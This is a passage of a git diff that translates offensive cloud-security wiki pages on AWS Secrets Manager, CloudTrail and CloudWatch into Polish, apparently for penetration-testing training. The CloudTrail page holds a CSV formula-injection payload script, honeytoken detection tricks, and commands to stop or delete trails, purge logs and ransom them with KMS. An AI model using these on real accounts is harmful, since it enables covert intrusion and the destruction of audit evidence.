aws secretsmanager list-secrets #Get metadata of all secrets aws secretsmanager list-secret-version-ids --secret-id # Get versions @@ -28,7 +27,6 @@ aws secretsmanager get-secret-value --secret-id # Get value aws secretsmanager get-secret-value --secret-id --version-id # Get value of a different version aws secretsmanager get-resource-policy --secret-id --secret-id ``` - ### Privesc {{#ref}} @@ -48,7 +46,3 @@ aws secretsmanager get-resource-policy --secret-id --secret-id {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md index 8348ff098..e94bfd993 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md @@ -1,6 +1 @@ -# AWS - Security & Detection Services - - - - - +# AWS - Usługi bezpieczeństwa i wykrywania diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 780f52f6e..2a0bb17f7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,111 +4,108 @@ ## **CloudTrail** -AWS CloudTrail **records and monitors activity within your AWS environment**. It captures detailed **event logs**, including who did what, when, and from where, for all interactions with AWS resources. This provides an audit trail of changes and actions, aiding in security analysis, compliance auditing, and resource change tracking. CloudTrail is essential for understanding user and resource behavior, enhancing security postures, and ensuring regulatory compliance. +AWS CloudTrail **rejestruje i monitoruje aktywność w Twoim środowisku AWS**. Zbiera szczegółowe **dzienniki zdarzeń**, w tym kto co zrobił, kiedy i skąd, dla wszystkich interakcji z zasobami AWS. To zapewnia ślad audytowy zmian i działań, wspierając analizę bezpieczeństwa, audyt zgodności oraz śledzenie zmian zasobów. CloudTrail jest niezbędny do zrozumienia zachowań użytkowników i zasobów, poprawy postaw bezpieczeństwa oraz zapewnienia zgodności z regulacjami. -Each logged event contains: +Każde zarejestrowane zdarzenie zawiera: -- The name of the called API: `eventName` -- The called service: `eventSource` -- The time: `eventTime` -- The IP address: `SourceIPAddress` -- The agent method: `userAgent`. Examples: - - Signing.amazonaws.com - From AWS Management Console - - console.amazonaws.com - Root user of the account - - lambda.amazonaws.com - AWS Lambda -- The request parameters: `requestParameters` -- The response elements: `responseElements` +- Nazwę wywołanego API: `eventName` +- Wywołaną usługę: `eventSource` +- Czas: `eventTime` +- Adres IP: `SourceIPAddress` +- Metodę agenta: `userAgent`. Przykłady: +- Signing.amazonaws.com - Z AWS Management Console +- console.amazonaws.com - Użytkownik główny konta +- lambda.amazonaws.com - AWS Lambda +- Parametry żądania: `requestParameters` +- Elementy odpowiedzi: `responseElements` -Event's are written to a new log file **approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**.\ -CloudTrails logs can be **aggregated across accounts and across regions.**\ -CloudTrail allows to use **log file integrity in order to be able to verify that your log files have remained unchanged** since CloudTrail delivered them to you. It creates a SHA-256 hash of the logs inside a digest file. A sha-256 hash of the new logs is created every hour.\ -When creating a Trail the event selectors will allow you to indicate the trail to log: Management, data or insights events. +Zdarzenia są zapisywane do nowego pliku dziennika **około co 5 minut w pliku JSON**, są przechowywane przez CloudTrail, a ostatecznie pliki dziennika są **dostarczane do S3 około 15 minut po**.\ +Dzienniki CloudTrail mogą być **agregowane w różnych kontach i regionach.**\ +CloudTrail pozwala na użycie **integralności plików dziennika, aby móc zweryfikować, że Twoje pliki dziennika pozostały niezmienione** od momentu, gdy CloudTrail je dostarczył. Tworzy skrót SHA-256 dzienników w pliku podsumowującym. Skrót sha-256 nowych dzienników jest tworzony co godzinę.\ +Podczas tworzenia Trail selektory zdarzeń pozwolą Ci wskazać, jakie zdarzenia mają być rejestrowane: zarządzanie, dane lub zdarzenia wglądowe. -Logs are saved in an S3 bucket. By default Server Side Encryption is used (SSE-S3) so AWS will decrypt the content for the people that has access to it, but for additional security you can use SSE with KMS and your own keys. +Dzienniki są przechowywane w wiadrze S3. Domyślnie używana jest szyfrowanie po stronie serwera (SSE-S3), więc AWS odszyfruje zawartość dla osób, które mają do niej dostęp, ale dla dodatkowego bezpieczeństwa możesz użyć SSE z KMS i własnymi kluczami. -The logs are stored in a **S3 bucket with this name format**: +Dzienniki są przechowywane w **wiadrze S3 o tym formacie nazwy**: - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`** -- Being the BucketName: **`aws-cloudtrail-logs--`** -- Example: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** +- Nazwa wiadra: **`aws-cloudtrail-logs--`** +- Przykład: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** -Inside each folder each log will have a **name following this format**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** +Wewnątrz każdego folderu każdy dziennik będzie miał **nazwę w tym formacie**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** -Log File Naming Convention +Konwencja nazewnictwa plików dziennika ![](<../../../../images/image (122).png>) -Moreover, **digest files (to check file integrity)** will be inside the **same bucket** in: +Ponadto, **pliki podsumowujące (do sprawdzania integralności plików)** będą znajdować się w **tym samym wiadrze** w: ![](<../../../../images/image (195).png>) -### Aggregate Logs from Multiple Accounts +### Agregowanie dzienników z wielu kont -- Create a Trial in the AWS account where you want the log files to be delivered to -- Apply permissions to the destination S3 bucket allowing cross-account access for CloudTrail and allow each AWS account that needs access -- Create a new Trail in the other AWS accounts and select to use the created bucket in step 1 +- Utwórz Trail w koncie AWS, do którego chcesz dostarczyć pliki dziennika +- Zastosuj uprawnienia do docelowego wiadra S3, umożliwiając dostęp między kontami dla CloudTrail i pozwól każdemu kontu AWS, które potrzebuje dostępu +- Utwórz nowy Trail w innych kontach AWS i wybierz utworzone wiadro w kroku 1 -However, even if you can save al the logs in the same S3 bucket, you cannot aggregate CloudTrail logs from multiple accounts into a CloudWatch Logs belonging to a single AWS account. +Jednak nawet jeśli możesz zapisać wszystkie dzienniki w tym samym wiadrze S3, nie możesz agregować dzienników CloudTrail z wielu kont do dzienników CloudWatch należących do jednego konta AWS. > [!CAUTION] -> Remember that an account can have **different Trails** from CloudTrail **enabled** storing the same (or different) logs in different buckets. +> Pamiętaj, że konto może mieć **różne Trail** z CloudTrail **włączone**, przechowujące te same (lub różne) dzienniki w różnych wiadrach. -### Cloudtrail from all org accounts into 1 +### CloudTrail z wszystkich kont organizacji do 1 -When creating a CloudTrail, it's possible to indicate to get activate cloudtrail for all the accounts in the org and get the logs into just 1 bucket: +Podczas tworzenia CloudTrail, możliwe jest wskazanie, aby aktywować CloudTrail dla wszystkich kont w organizacji i uzyskać dzienniki do tylko 1 wiadra:
-This way you can easily configure CloudTrail in all the regions of all the accounts and centralize the logs in 1 account (that you should protect). +W ten sposób możesz łatwo skonfigurować CloudTrail we wszystkich regionach wszystkich kont i scentralizować dzienniki w 1 koncie (które powinieneś chronić). -### Log Files Checking - -You can check that the logs haven't been altered by running +### Sprawdzanie plików dziennika +Możesz sprawdzić, czy dzienniki nie zostały zmienione, uruchamiając ```javascript aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` - ### Logs to CloudWatch -**CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**\ -Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to: +**CloudTrail może automatycznie wysyłać logi do CloudWatch, abyś mógł ustawić alerty, które ostrzegają cię, gdy wykonywane są podejrzane działania.**\ +Zauważ, że aby umożliwić CloudTrail wysyłanie logów do CloudWatch, należy utworzyć **rolę**, która pozwala na tę akcję. Jeśli to możliwe, zaleca się użycie domyślnej roli AWS do wykonywania tych działań. Ta rola pozwoli CloudTrail na: -- CreateLogStream: This allows to create a CloudWatch Logs log streams -- PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream +- CreateLogStream: To pozwala na tworzenie strumieni logów CloudWatch +- PutLogEvents: Dostarczanie logów CloudTrail do strumienia logów CloudWatch ### Event History -CloudTrail Event History allows you to inspect in a table the logs that have been recorded: +Historia zdarzeń CloudTrail pozwala na przeglądanie w tabeli logów, które zostały zarejestrowane: ![](<../../../../images/image (89).png>) ### Insights -**CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, you’ll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever. +**CloudTrail Insights** automatycznie **analizuje** zdarzenia zarządzania zapisem z tras CloudTrail i **informuje** cię o **nietypowej aktywności**. Na przykład, jeśli nastąpi wzrost zdarzeń `TerminateInstance`, który różni się od ustalonych podstaw, zobaczysz to jako zdarzenie Insight. Te zdarzenia ułatwiają **znalezienie i reagowanie na nietypową aktywność API** jak nigdy dotąd. -The insights are stored in the same bucket as the CloudTrail logs in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` +Wnioski są przechowywane w tym samym koszu co logi CloudTrail w: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security -| CloudTrail Log File Integrity |
  • Validate if logs have been tampered with (modified or deleted)
  • Uses digest files (create hash for each file)

    • SHA-256 hashing
    • SHA-256 with RSA for digital signing
    • private key owned by Amazon
  • Takes 1 hour to create a digest file (done on the hour every hour)
| +| CloudTrail Log File Integrity |
  • Walidacja, czy logi nie zostały zmienione (zmodyfikowane lub usunięte)
  • Używa plików skrótów (tworzy hash dla każdego pliku)

    • SHA-256 hashing
    • SHA-256 z RSA do podpisywania cyfrowego
    • klucz prywatny należący do Amazon
  • Tworzenie pliku skrótu zajmuje 1 godzinę (robione co godzinę)
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Stop unauthorized access |
  • Use IAM policies and S3 bucket policies

    • security team —> admin access
    • auditors —> read only access
  • Use SSE-S3/SSE-KMS to encrypt the logs
| -| Prevent log files from being deleted |
  • Restrict delete access with IAM and bucket policies
  • Configure S3 MFA delete
  • Validate with Log File Validation
| +| Stop unauthorized access |
  • Użyj polityk IAM i polityk koszyków S3

    • zespół bezpieczeństwa —> dostęp administracyjny
    • audytorzy —> dostęp tylko do odczytu
  • Użyj SSE-S3/SSE-KMS do szyfrowania logów
| +| Prevent log files from being deleted |
  • Ogranicz dostęp do usuwania za pomocą polityk IAM i koszyków
  • Skonfiguruj usuwanie MFA S3
  • Walidacja za pomocą Walidacji Plików Logów
| ## Access Advisor -AWS Access Advisor relies on last 400 days AWS **CloudTrail logs to gather its insights**. CloudTrail captures a history of AWS API calls and related events made in an AWS account. Access Advisor utilizes this data to **show when services were last accessed**. By analyzing CloudTrail logs, Access Advisor can determine which AWS services an IAM user or role has accessed and when that access occurred. This helps AWS administrators make informed decisions about **refining permissions**, as they can identify services that haven't been accessed for extended periods and potentially reduce overly broad permissions based on real usage patterns. +AWS Access Advisor opiera się na ostatnich 400 dniach logów AWS **CloudTrail, aby zebrać swoje wnioski**. CloudTrail rejestruje historię wywołań API AWS i związanych z nimi zdarzeń dokonanych w koncie AWS. Access Advisor wykorzystuje te dane, aby **pokazać, kiedy usługi były ostatnio używane**. Analizując logi CloudTrail, Access Advisor może określić, które usługi AWS były używane przez użytkownika IAM lub rolę oraz kiedy miało to miejsce. Pomaga to administratorom AWS podejmować świadome decyzje dotyczące **udoskonalania uprawnień**, ponieważ mogą zidentyfikować usługi, które nie były używane przez dłuższy czas i potencjalnie zmniejszyć zbyt szerokie uprawnienia na podstawie rzeczywistych wzorców użycia. > [!TIP] -> Therefore, Access Advisor informs about **the unnecessary permissions being given to users** so the admin could remove them +> Dlatego Access Advisor informuje o **niepotrzebnych uprawnieniach przyznawanych użytkownikom**, aby administrator mógł je usunąć
## Actions ### Enumeration - ```bash # Get trails info aws cloudtrail list-trails @@ -125,125 +122,113 @@ aws cloudtrail list-event-data-stores aws cloudtrail list-queries --event-data-store aws cloudtrail get-query-results --event-data-store --query-id ``` - ### **CSV Injection** -It's possible to perform a CVS injection inside CloudTrail that will execute arbitrary code if the logs are exported in CSV and open with Excel.\ -The following code will generate log entry with a bad Trail name containing the payload: - +Możliwe jest przeprowadzenie ataku CVS w CloudTrail, który wykona dowolny kod, jeśli logi zostaną wyeksportowane w formacie CSV i otwarte w Excelu.\ +Poniższy kod wygeneruje wpis logu z nieprawidłową nazwą Trail zawierającą ładunek: ```python import boto3 payload = "=cmd|'/C calc'|''" client = boto3.client('cloudtrail') response = client.create_trail( - Name=payload, - S3BucketName="random" +Name=payload, +S3BucketName="random" ) print(response) ``` - -For more information about CSV Injections check the page: +Dla uzyskania dodatkowych informacji na temat CSV Injections sprawdź stronę: {{#ref}} https://book.hacktricks.xyz/pentesting-web/formula-injection {{#endref}} -For more information about this specific technique check [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) +Aby uzyskać więcej informacji na temat tej konkretnej techniki, sprawdź [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) -## **Bypass Detection** +## **Obchodzenie wykrywania** -### HoneyTokens **bypass** +### HoneyTokens **obchodzenie** -Honeyokens are created to **detect exfiltration of sensitive information**. In case of AWS, they are **AWS keys whose use is monitored**, if something triggers an action with that key, then someone must have stolen that key. +Honeytokens są tworzone w celu **wykrywania eksfiltracji wrażliwych informacji**. W przypadku AWS są to **klucze AWS, których użycie jest monitorowane**, jeśli coś wywoła akcję z tym kluczem, to ktoś musiał ukraść ten klucz. -However, Honeytokens like the ones created by [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) are either using recognizable account name or using the same AWS account ID for all their customers. Therefore, if you can get the account name and/or account ID without making Cloudtrail create any log, **you could know if the key is a honeytoken or not**. +Jednakże, Honeytokens, takie jak te stworzone przez [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren), używają rozpoznawalnej nazwy konta lub tego samego identyfikatora konta AWS dla wszystkich swoich klientów. Dlatego, jeśli możesz uzyskać nazwę konta i/lub identyfikator konta bez powodowania, że Cloudtrail utworzy jakikolwiek log, **możesz wiedzieć, czy klucz jest honeytokenem, czy nie**. -[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) has some rules to detect if a key belongs to [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:** +[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) ma pewne zasady, aby wykryć, czy klucz należy do [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:** -- If **`canarytokens.org`** appears in the role name or the account ID **`534261010715`** appears in the error message. - - Testing them more recently, they are using the account **`717712589309`** and still has the **`canarytokens.com`** string in the name. -- If **`SpaceCrab`** appears in the role name in the error message -- **SpaceSiren** uses **uuids** to generate usernames: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` -- If the **name looks like randomly generated**, there are high probabilities that it's a HoneyToken. +- Jeśli **`canarytokens.org`** pojawia się w nazwie roli lub identyfikator konta **`534261010715`** pojawia się w komunikacie o błędzie. +- Testując je bardziej niedawno, używają konta **`717712589309`** i nadal mają ciąg **`canarytokens.com`** w nazwie. +- Jeśli **`SpaceCrab`** pojawia się w nazwie roli w komunikacie o błędzie +- **SpaceSiren** używa **uuids** do generowania nazw użytkowników: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` +- Jeśli **nazwa wygląda na losowo wygenerowaną**, istnieje duże prawdopodobieństwo, że jest to HoneyToken. -#### Get the account ID from the Key ID - -You can get the **Account ID** from the **encoded** inside the **access key** as [**explained here**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) and check the account ID with your list of Honeytokens AWS accounts: +#### Uzyskaj identyfikator konta z identyfikatora klucza +Możesz uzyskać **Identyfikator konta** z **zakodowanego** wewnątrz **klucza dostępu** jak [**wyjaśniono tutaj**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) i sprawdzić identyfikator konta z twoją listą kont Honeytokens AWS: ```python import base64 import binascii def AWSAccount_from_AWSKeyID(AWSKeyID): - trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix - x = base64.b32decode(trimmed_AWSKeyID) #base32 decode - y = x[0:6] +trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix +x = base64.b32decode(trimmed_AWSKeyID) #base32 decode +y = x[0:6] - z = int.from_bytes(y, byteorder='big', signed=False) - mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False) +z = int.from_bytes(y, byteorder='big', signed=False) +mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False) - e = (z & mask)>>7 - return (e) +e = (z & mask)>>7 +return (e) print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML"))) ``` - Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). -#### Do not generate a log +#### Nie generuj logu -The most effective technique for this is actually a simple one. Just use the key you just found to access some service inside your own attackers account. This will make **CloudTrail generate a log inside YOUR OWN AWS account and not inside the victims**. +Najskuteczniejsza technika w tym przypadku jest właściwie prosta. Po prostu użyj klucza, który właśnie znalazłeś, aby uzyskać dostęp do jakiejś usługi w swoim własnym koncie atakującego. To spowoduje, że **CloudTrail wygeneruje log w TWOIM WŁASNYM koncie AWS, a nie w koncie ofiary**. -The things is that the output will show you an error indicating the account ID and the account name so **you will be able to see if it's a Honeytoken**. +Chodzi o to, że wynik pokaże błąd wskazujący na identyfikator konta i nazwę konta, więc **będziesz mógł zobaczyć, czy to jest Honeytoken**. -#### AWS services without logs +#### Usługi AWS bez logów -In the past there were some **AWS services that doesn't send logs to CloudTrail** (find a [list here](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Some of those services will **respond** with an **error** containing the **ARN of the key role** if someone unauthorised (the honeytoken key) try to access it. +W przeszłości istniały niektóre **usługi AWS, które nie wysyłały logów do CloudTrail** (znajdź [listę tutaj](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Niektóre z tych usług **odpowiedzą** z **błędem** zawierającym **ARN roli klucza**, jeśli ktoś nieautoryzowany (klucz honeytoken) spróbuje uzyskać do nich dostęp. -This way, an **attacker can obtain the ARN of the key without triggering any log**. In the ARN the attacker can see the **AWS account ID and the name**, it's easy to know the HoneyToken's companies accounts ID and names, so this way an attacker can identify id the token is a HoneyToken. +W ten sposób **atakujący może uzyskać ARN klucza bez wywoływania jakiegokolwiek logu**. W ARN atakujący może zobaczyć **identyfikator konta AWS i nazwę**, łatwo jest poznać identyfikator konta i nazwy firm HoneyToken, więc w ten sposób atakujący może zidentyfikować, czy token jest HoneyToken. ![](<../../../../images/image (93).png>) > [!CAUTION] -> Note that all public APIs discovered to not being creating CloudTrail logs are now fixed, so maybe you need to find your own... +> Zauważ, że wszystkie publiczne API, które odkryto, że nie tworzą logów CloudTrail, zostały teraz naprawione, więc być może będziesz musiał znaleźć swoje własne... > -> For more information check the [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). +> Aby uzyskać więcej informacji, sprawdź [**oryginalne badania**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). -### Accessing Third Infrastructure +### Uzyskiwanie dostępu do infrastruktury trzeciej -Certain AWS services will **spawn some infrastructure** such as **Databases** or **Kubernetes** clusters (EKS). A user **talking directly to those services** (like the Kubernetes API) **won’t use the AWS API**, so CloudTrail won’t be able to see this communication. +Niektóre usługi AWS **tworzą pewną infrastrukturę**, taką jak **bazy danych** lub **klastry Kubernetes** (EKS). Użytkownik **rozmawiający bezpośrednio z tymi usługami** (jak API Kubernetes) **nie będzie używał API AWS**, więc CloudTrail nie będzie w stanie zobaczyć tej komunikacji. -Therefore, a user with access to EKS that has discovered the URL of the EKS API could generate a token locally and **talk to the API service directly without getting detected by Cloudtrail**. +Dlatego użytkownik z dostępem do EKS, który odkrył adres URL API EKS, mógłby wygenerować token lokalnie i **rozmawiać z usługą API bez wykrycia przez Cloudtrail**. -More info in: +Więcej informacji w: {{#ref}} ../../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}} -### Modifying CloudTrail Config - -#### Delete trails +### Modyfikowanie konfiguracji CloudTrail +#### Usuń szlaki ```bash aws cloudtrail delete-trail --name [trail-name] ``` - -#### Stop trails - +#### Zatrzymaj ślady ```bash aws cloudtrail stop-logging --name [trail-name] ``` - -#### Disable multi-region logging - +#### Wyłącz logowanie w wielu regionach ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` - -#### Disable Logging by Event Selectors - +#### Wyłącz logowanie za pomocą selektorów zdarzeń ```bash # Leave only the ReadOnly selector aws cloudtrail put-event-selectors --trail-name --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region @@ -251,49 +236,42 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` +W pierwszym przykładzie pojedynczy selektor zdarzeń jest podany jako tablica JSON z pojedynczym obiektem. `"ReadWriteType": "ReadOnly"` wskazuje, że **selektor zdarzeń powinien rejestrować tylko zdarzenia tylko do odczytu** (więc CloudTrail insights **nie będzie sprawdzać** zdarzeń zapisu na przykład). -In the first example, a single event selector is provided as a JSON array with a single object. The `"ReadWriteType": "ReadOnly"` indicates that the **event selector should only capture read-only events** (so CloudTrail insights **won't be checking write** events for example). - -You can customize the event selector based on your specific requirements. - -#### Logs deletion via S3 lifecycle policy +Możesz dostosować selektor zdarzeń w oparciu o swoje specyficzne wymagania. +#### Usuwanie logów za pomocą polityki cyklu życia S3 ```bash aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region ``` +### Modyfikacja konfiguracji koszyka -### Modifying Bucket Configuration +- Usuń koszyk S3 +- Zmień politykę koszyka, aby odmówić wszelkich zapisów z usługi CloudTrail +- Dodaj politykę cyklu życia do koszyka S3, aby usunąć obiekty +- Wyłącz klucz KMS używany do szyfrowania dzienników CloudTrail -- Delete the S3 bucket -- Change bucket policy to deny any writes from the CloudTrail service -- Add lifecycle policy to S3 bucket to delete objects -- Disable the kms key used to encrypt the CloudTrail logs +### Ransomware Cloudtrail -### Cloudtrail ransomware +#### Ransomware S3 -#### S3 ransomware - -You could **generate an asymmetric key** and make **CloudTrail encrypt the data** with that key and **delete the private key** so the CloudTrail contents cannot be recovered cannot be recovered.\ -This is basically a **S3-KMS ransomware** explained in: +Możesz **wygenerować klucz asymetryczny** i sprawić, aby **CloudTrail szyfrował dane** tym kluczem oraz **usunąć klucz prywatny**, aby zawartość CloudTrail nie mogła zostać odzyskana.\ +To jest zasadniczo **ransomware S3-KMS** wyjaśnione w: {{#ref}} ../../aws-post-exploitation/aws-s3-post-exploitation.md {{#endref}} -**KMS ransomware** +**Ransomware KMS** -This is an easiest way to perform the previous attack with different permissions requirements: +To najprostszy sposób na przeprowadzenie poprzedniego ataku z różnymi wymaganiami dotyczącymi uprawnień: {{#ref}} ../../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} -## **References** +## **Referencje** - [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 0c790b881..69740cad1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -4,143 +4,142 @@ ## CloudWatch -**CloudWatch** **collects** monitoring and operational **data** in the form of logs/metrics/events providing a **unified view of AWS resources**, applications and services.\ -CloudWatch Log Event have a **size limitation of 256KB on each log line**.\ -It can set **high resolution alarms**, visualize **logs** and **metrics** side by side, take automated actions, troubleshoot issues, and discover insights to optimize applications. +**CloudWatch** **zbiera** dane monitorujące i operacyjne **w formie** logów/metryk/wydarzeń, zapewniając **jednolity widok zasobów AWS**, aplikacji i usług.\ +CloudWatch Log Event ma **ograniczenie rozmiaru 256KB na każdą linię logu**.\ +Może ustawiać **alarmy o wysokiej rozdzielczości**, wizualizować **logi** i **metryki** obok siebie, podejmować automatyczne działania, rozwiązywać problemy i odkrywać spostrzeżenia w celu optymalizacji aplikacji. -You can monitor for example logs from CloudTrail. Events that are monitored: +Możesz monitorować na przykład logi z CloudTrail. Monitorowane wydarzenia: -- Changes to Security Groups and NACLs -- Starting, Stopping, rebooting and terminating EC2 instances -- Changes to Security Policies within IAM and S3 -- Failed login attempts to the AWS Management Console -- API calls that resulted in failed authorization -- Filters to search in cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) +- Zmiany w grupach zabezpieczeń i NACL +- Uruchamianie, zatrzymywanie, ponowne uruchamianie i kończenie instancji EC2 +- Zmiany w politykach zabezpieczeń w IAM i S3 +- Nieudane próby logowania do konsoli zarządzania AWS +- Wywołania API, które zakończyły się nieudanym autoryzowaniem +- Filtry do wyszukiwania w cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) -## Key concepts +## Kluczowe pojęcia -### Namespaces +### Przestrzenie nazw -A namespace is a container for CloudWatch metrics. It helps to categorize and isolate metrics, making it easier to manage and analyze them. +Przestrzeń nazw to kontener dla metryk CloudWatch. Pomaga w kategoryzacji i izolacji metryk, co ułatwia ich zarządzanie i analizę. -- **Examples**: AWS/EC2 for EC2-related metrics, AWS/RDS for RDS metrics. +- **Przykłady**: AWS/EC2 dla metryk związanych z EC2, AWS/RDS dla metryk RDS. -### Metrics +### Metryki -Metrics are data points collected over time that represent the performance or utilization of AWS resources. Metrics can be collected from AWS services, custom applications, or third-party integrations. +Metryki to punkty danych zbierane w czasie, które reprezentują wydajność lub wykorzystanie zasobów AWS. Metryki mogą być zbierane z usług AWS, aplikacji niestandardowych lub integracji zewnętrznych. -- **Example**: CPUUtilization, NetworkIn, DiskReadOps. +- **Przykład**: CPUUtilization, NetworkIn, DiskReadOps. -### Dimensions +### Wymiary -Dimensions are key-value pairs that are part of metrics. They help to uniquely identify a metric and provide additional context, being 30 the most number of dimensions that can be associated with a metric. Dimensions also allow to filter and aggregate metrics based on specific attributes. +Wymiary to pary klucz-wartość, które są częścią metryk. Pomagają one unikalnie zidentyfikować metrykę i dostarczają dodatkowego kontekstu, przy czym maksymalna liczba wymiarów, które można powiązać z metryką, wynosi 30. Wymiary umożliwiają również filtrowanie i agregowanie metryk na podstawie określonych atrybutów. -- **Example**: For EC2 instances, dimensions might include InstanceId, InstanceType, and AvailabilityZone. +- **Przykład**: Dla instancji EC2 wymiary mogą obejmować InstanceId, InstanceType i AvailabilityZone. -### Statistics +### Statystyki -Statistics are mathematical calculations performed on metric data to summarize it over time. Common statistics include Average, Sum, Minimum, Maximum, and SampleCount. +Statystyki to obliczenia matematyczne wykonywane na danych metrycznych w celu ich podsumowania w czasie. Powszechne statystyki to Średnia, Suma, Minimum, Maksimum i LiczbaPróbek. -- **Example**: Calculating the average CPU utilization over a period of one hour. +- **Przykład**: Obliczanie średniego wykorzystania CPU w okresie jednej godziny. -### Units +### Jednostki -Units are the measurement type associated with a metric. Units help to provide context and meaning to the metric data. Common units include Percent, Bytes, Seconds, Count. +Jednostki to typ pomiaru związany z metryką. Jednostki pomagają dostarczyć kontekst i znaczenie dla danych metrycznych. Powszechne jednostki to Procent, Bajty, Sekundy, Liczba. -- 